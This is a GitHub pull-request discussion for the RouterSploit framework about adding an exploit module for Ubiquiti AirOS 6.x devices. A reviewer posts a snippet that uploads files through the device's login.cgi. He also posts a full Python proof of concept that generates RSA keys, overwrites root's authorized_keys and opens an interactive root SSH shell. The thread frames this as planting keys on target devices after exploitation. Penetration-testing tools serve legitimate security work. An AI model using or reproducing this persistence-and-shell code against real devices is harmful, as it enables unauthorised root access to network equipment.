Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added exploit module to AirOS 6.x #35

Merged
merged 4 commits into from
Apr 27, 2016
Merged

Added exploit module to AirOS 6.x #35

merged 4 commits into from
Apr 27, 2016

Conversation

viniciusmarangoni
Copy link
Contributor

No description provided.

@lucyoa
Copy link
Contributor

lucyoa commented Apr 26, 2016

Wow, I see pretty advanced exploit. I have played around and we can even improve it.

1. http_request instead of requests

requests.post can be changed to http_request. So instead

requests.post(url + 'login.cgi', files=upload_params, verify=False) 

use

http_request(method="POST", url=url, files=upload_params)
  • function returns request object (with all properities like status_code, text etc.) and None if any exception occured.
  • verify=False property is set by default
  • it handles exceptions related to the connection problems

You can just check if response is None and if its not move on with exploitation:

url = sanitize_url('{0}:{1}/login.cgi'.format(self.target, self.port))
response = http_request(method="POST", url=url, files=upload_params)
if response is None:
    return

print response.status_code
print response.text

2. Dynamic SSH keys
Currently user's ssh public key is sent to the authorized_keys. We can improve it by dynamically generating RSA keys, sending public key to the devices and invoking interactive ssh shell using private key.

I created following proof of concept script that presents how to generate keys and invoke interactive ssh shell with paramiko. I think it might be helpful:

#!/usr/bin/env python

import paramiko
from paramiko.py3compat import u
import StringIO
import os
import termios
import tty
import sys
import select
import socket

def own(bits=1024):
    # generating RSA keys
    k = paramiko.RSAKey.generate(bits)
    public_key = k.get_base64()
    private_key = StringIO.StringIO()
    k.write_private_key(private_key)

    # adding generated public key to authorized keys (only example how it works)
    f = open('/root/.ssh/authorized_keys','w+')
    f.write('ssh-rsa ' + public_key)
    f.close()

    # connecting to ssh server using created private key
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    not_file = StringIO.StringIO(private_key.getvalue())
    pkey = paramiko.RSAKey.from_private_key(not_file)
    not_file.close()

    client.connect("127.0.0.1", 22, username="root", pkey=pkey)

    # invoking interactive shell
    chan = client.invoke_shell()
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)

own()

Could you adapt these changes in your pull request? I can also modify it by myself and you would test if it works on your device with AirOS.

Btw. I'd love to see this exploit in action - https://asciinema.org/ is awesome for this.

@viniciusmarangoni
Copy link
Contributor Author

Ok. I will adapt it and add the changes to this pull. Thank's for the sugestions.

@viniciusmarangoni
Copy link
Contributor Author

The changes was done. To see the exploit in action, watch the asciinema
https://asciinema.org/a/byel8965webtwilih1gg2hvyq

I will commit the changes

@lucyoa
Copy link
Contributor

lucyoa commented Apr 27, 2016

Great job. Happy to add your exploit to RouterSploit.

@lucyoa lucyoa merged commit a99812a into threat9:master Apr 27, 2016
@fwkz fwkz added the module label May 7, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants